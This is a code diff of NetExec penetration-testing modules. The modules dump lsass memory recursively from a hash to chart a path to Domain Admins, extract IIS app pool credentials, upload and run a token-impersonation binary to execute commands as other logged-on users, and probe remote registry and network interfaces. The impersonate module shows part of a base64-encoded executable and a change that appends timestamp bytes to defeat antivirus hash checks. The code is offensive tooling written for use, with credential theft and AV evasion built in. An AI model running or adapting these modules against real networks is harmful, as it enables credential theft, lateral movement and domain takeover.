 def create_db(local_admins, dbconnection, cursor):
@@ -69,16 +65,12 @@ def create_db(local_admins, dbconnection, cursor):
             if user not in admin_users:
                 admin_users.append(user)
     for user in admin_users:
-        cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
+        cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
     dbconnection.commit()
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    if connection.args.local_auth:
-        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
-    else:
-        context.log.extra["host"] = connection.domain
-    context.log.extra["hostname"] = connection.host.upper()
+    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -89,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
                 [password],
             )
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             dbconnection.commit()
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -103,17 +95,17 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 [nthash],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
-            paths = [record for record in path_to_da.data()]
+            paths = list(path_to_da.data())
 
             for path in paths:
                 if path:
-                    for key, value in path.items():
+                    for value in path.values():
                         for item in value:
-                            if type(item) == dict:
+                            if isinstance(item, dict):
                                 if {item["name"]} not in reported_da:
                                     context.log.success(f"You have a valid path to DA as {item['name']}.")
                                     reported_da.append({item["name"]})
@@ -138,8 +130,6 @@ class NXCModule:
     name = "hash_spider"
     description = "Dump lsass recursively from a given hash using BH to find local admins"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -147,15 +137,17 @@ class NXCModule:
         self.reset = None
         self.reset_dumped = None
         self.method = None
+
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_computers(connection.host)[0][0]
+        host_id = context.db.get_hosts(connection.host)[0][0]
         if password is not None:
-            credential_type = 'plaintext'
+            credential_type = "plaintext"
         else:
-            credential_type = 'hash'
-            password = ':'.join(h for h in [lmhash, nthash] if h is not None)
+            credential_type = "hash"
+            password = ":".join(h for h in [lmhash, nthash] if h is not None)
         context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
+
     def options(self, context, module_options):
         """
         METHOD              Method to use to dump lsass.exe with lsassy
@@ -173,7 +165,7 @@ class NXCModule:
         # lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
         # so what we do is define "success" as a logging level, then do nothing with the output
         logging.addLevelName(25, "SUCCESS")
-        setattr(logging, "success", lambda message, *args: ())
+        logging.success = lambda message, *args: ()
 
         host = connection.host
         domain_name = connection.domain
@@ -198,13 +190,13 @@ class NXCModule:
             return False
         dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
         if dumper is None:
-            context.log.fail("Unable to load dump method '{}'".format(self.method))
+            context.log.fail(f"Unable to load dump method '{self.method}'")
             return False
         file = dumper.dump()
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(file).parse()
+        credentials, tickets, masterkeys = Parser(host, file).parse()
         file.close()
         ImpacketFile.delete(session, file.get_file_path())
         if credentials is None:
@@ -247,10 +239,10 @@ class NXCModule:
                     if len(more_to_dump) > 0:
                         context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
                         connection.domain = user[0].split("@")[1]
-                        setattr(connection, "host", pc[0].split(".")[0])
-                        setattr(connection, "username", user[0].split("@")[0])
-                        setattr(connection, "nthash", user[1])
-                        setattr(connection, "nthash", user[1])
+                        connection.host = pc[0].split(".")[0]
+                        connection.username = user[0].split("@")[0]
+                        connection.nthash = user[1]
+                        connection.nthash = user[1]
                         try:
                             self.run_lsassy(context, connection, cursor)
                             cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
@@ -302,7 +294,7 @@ class NXCModule:
         neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
         driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
         neo4j_conn(context, connection, driver)
-        neo4j_local_admins(context, driver)
+        admin_results = neo4j_local_admins(context, driver)
         create_db(admin_results, dbconnection, cursor)
         initial_run(connection, cursor)
         context.log.display("Running lsassy")

nxc/modules/hyperv-host.py

@@ -0,0 +1,51 @@
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+
+
+class NXCModule:
+    """Module by @joaovarelas"""
+
+    name = "hyperv-host"
+    description = "Performs a registry query on the VM to lookup its HyperV Host"
+    supported_protocols = ["smb"]
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """"""
+
+    def on_admin_login(self, context, connection):
+        self.context = context
+
+        path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
+        key = "HostName"
+
+        try:
+            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops.enableRegistry()
+
+            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
+            # Query
+            try:
+                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
+                key_handle = ans["phkResult"]
+
+                data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
+                self.context.log.highlight(f"{key}: {reg_value}")
+
+                rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
+
+            except DCERPCException as e:
+                self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
+
+        except DCERPCException as e:
+            self.context.log.fail(f"DCERPC Error while querying registry: {e}")
+        except Exception as e:
+            self.context.log.fail(f"Error while querying registry: {e}")
+        finally:
+            remote_ops.finish()

nxc/modules/iis.py

@@ -1,18 +1,13 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 class NXCModule:
-
     """
     Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
 
     Module by Brandon Fisher @shad0wcntr0ller
     """
 
-    name = 'iis'
+    name = "iis"
     description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
-    supported_protocols = ['smb']
-    opsec_safe = True
-    multiple_hosts = True
+    supported_protocols = ["smb"]
 
     def __init__(self):
         pass
@@ -24,29 +19,26 @@ class NXCModule:
         self.check_appcmd(context, connection)
 
     def check_appcmd(self, context, connection):
-        
-        if not hasattr(connection, 'has_run'):
+        if not hasattr(connection, "has_run"):
             connection.has_run = False
 
-        
         if connection.has_run:
             return
 
         connection.has_run = True
 
-        
         try:
-            connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe')
+            connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe")
             self.execute_appcmd(context, connection)
-        except:
-            context.log.fail("appcmd.exe not found, this module is not applicable.")
+        except Exception as e:
+            context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}")
             return
 
     def execute_appcmd(self, context, connection):
-        command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
-        context.log.info(f'Checking For Hidden Credentials With Appcmd.exe')
+        command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
+        context.log.info("Checking For Hidden Credentials With Appcmd.exe")
         output = connection.execute(command, True)
-        
+
         lines = output.splitlines()
         username = None
         password = None
@@ -55,20 +47,19 @@ class NXCModule:
         credentials_set = set()
 
         for line in lines:
-            if 'APPPOOL.NAME:' in line:
-                apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"')
+            if "APPPOOL.NAME:" in line:
+                apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"')
             if "userName:" in line:
                 username = line.split("userName:")[1].strip().strip('"')
             if "password:" in line:
                 password = line.split("password:")[1].strip().strip('"')
 
-            
-            if apppool_name and username is not None and password is not None:  
+            if apppool_name and username is not None and password is not None:
                 current_credentials = (apppool_name, username, password)
 
                 if current_credentials not in credentials_set:
                     credentials_set.add(current_credentials)
-                    
+
                     if username:
                         context.log.success(f"Credentials Found for APPPOOL: {apppool_name}")
                         if password == "":
@@ -76,7 +67,6 @@ class NXCModule:
                         else:
                             context.log.highlight(f"Username: {username}, Password: {password}")
 
-                
                 username = None
                 password = None
                 apppool_name = None

nxc/modules/impersonate.py

@@ -4,31 +4,36 @@
 # Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
 
 from base64 import b64decode
-from sys import exit
 from os import path
+import sys
+from datetime import datetime
+from nxc.paths import DATA_PATH
+
 
 class NXCModule:
-
     name = "impersonate"
     description = "List and impersonate tokens to run command as locally logged on users"
     supported_protocols = ["smb"]
-    opsec_safe = True # could be flagged
-    multiple_hosts = True
 
     def options(self, context, module_options):
-        '''
-            TOKEN     // Token id to usurp
-            EXEC      // Command to exec
-            IMP_EXE   // Path to the Impersonate binary on your local computer
-        '''
-
+        """
+        TOKEN     // Token id to usurp
+        EXEC      // Command to exec
+        IMP_EXE   // Path to the Impersonate binary on your local computer
+        """
         self.tmp_dir = "C:\\Windows\\Temp\\"
         self.share = "C$"
         self.tmp_share = self.tmp_dir.split(":")[1]
         self.impersonate = "Impersonate.exe"
         self.useembeded = True
         self.token = self.cmd = ""
-        self.impersonate_embedded = b64decode("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 truncated
+
+        with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
+            self.impersonate_embedded = b64decode(impersonate_file.read())
+
+        # Add some random binary data to defeat AVs which check the file hash
+        self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
+
         if "EXEC" in module_options:
             self.cmd = module_options["EXEC"]
 
@@ -42,32 +47,36 @@ class NXCModule:
     def list_available_primary_tokens(self, _, connection):
         command = f"{self.tmp_dir}Impersonate.exe list"
         return connection.execute(command, True)
-        
-    def on_admin_login(self, context, connection):
 
+    def on_admin_login(self, context, connection):
         if self.useembeded:
             file_to_upload = "/tmp/Impersonate.exe"
-            with open(file_to_upload, 'wb') as impersonate:
-                impersonate.write(self.impersonate_embedded)
+
+            try:
+                with open(file_to_upload, "wb") as impersonate:
+                    impersonate.write(self.impersonate_embedded)
+            except FileNotFoundError:
+                context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
+                sys.exit(1)
         else:
             if path.isfile(self.imp_exe):
                 file_to_upload = self.imp_exe
             else:
                 context.log.error(f"Cannot open {self.imp_exe}")
-                exit(1)
+                sys.exit(1)
 
         context.log.display(f"Uploading {self.impersonate}")
-        with open(file_to_upload, 'rb') as impersonate:
+        with open(file_to_upload, "rb") as impersonate:
             try:
                 connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
-                context.log.success(f"Impersonate binary successfully uploaded")
+                context.log.success("Impersonate binary successfully uploaded")
             except Exception as e:
                 context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
                 return
 
         try:
             if self.cmd == "" or self.token == "":
-                context.log.display(f"Listing available primary tokens")
+                context.log.display("Listing available primary tokens")
                 p = self.list_available_primary_tokens(context, connection)
                 for line in p.splitlines():
                     token, token_integrity, token_owner = line.split(" ", 2)
@@ -81,19 +90,19 @@ class NXCModule:
                         impersonated_user = token_owner.strip()
                         break
 
-                if impersonated_user:  
+                if impersonated_user:
                     context.log.display(f"Executing {self.cmd} as {impersonated_user}")
-                    command = f'{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"'
+                    command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
                     for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
                         context.log.highlight(line)
                 else:
-                    context.log.fail(f"Invalid token ID submitted")
+                    context.log.fail("Invalid token ID submitted")
 
         except Exception as e:
             context.log.fail(f"Error runing command: {e}")
         finally:
             try:
                 connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
-                context.log.success(f"Impersonate binary successfully deleted")
+                context.log.success("Impersonate binary successfully deleted")
             except Exception as e:
                 context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")

nxc/modules/install_elevated.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from impacket.dcerpc.v5 import rrp
 from impacket.dcerpc.v5 import scmr
 from impacket.examples.secretsdump import RemoteOperations
@@ -10,8 +7,6 @@ class NXCModule:
     name = "install_elevated"
     description = "Checks for AlwaysInstallElevated"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
         """ """

nxc/modules/ioxidresolver.py

@@ -0,0 +1,47 @@
+# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
+# Airbus CERT
+# module by @mpgn_x64
+# updated by @NeffIsBack
+
+from ipaddress import ip_address
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
+from impacket.dcerpc.v5.dcomrt import IObjectExporter
+
+
+class NXCModule:
+    name = "ioxidresolver"
+    description = "This module helps you to identify hosts that have additional active interfaces"
+    supported_protocols = ["smb", "wmi"]
+
+    def options(self, context, module_options):
+        """DIFFERENT show only ip address if different from target ip (Default: False)"""
+        self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
+
+    def on_login(self, context, connection):
+        try:
+            rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
+            rpctransport.setRemoteHost(connection.host)
+
+            portmap = rpctransport.get_dce_rpc()
+            portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
+            portmap.connect()
+
+            objExporter = IObjectExporter(portmap)
+            bindings = objExporter.ServerAlive2()
+
+            context.log.debug(f"Retrieving network interface of {connection.host}")
+
+            for binding in bindings:
+                NetworkAddr = binding["aNetworkAddr"]
+                try:
+                    ip_address(NetworkAddr[:-1])
+                    if self.pivot:
+                        if NetworkAddr.rstrip("\x00") != connection.host:
+                            context.log.highlight(f"Address: {NetworkAddr}")
+                    else:
+                        context.log.highlight(f"Address: {NetworkAddr}")
+                except Exception as e:
+                    context.log.debug(e)
+        except DCERPCException as e:
+            context.log.error(f"DCERPCException error: {e}")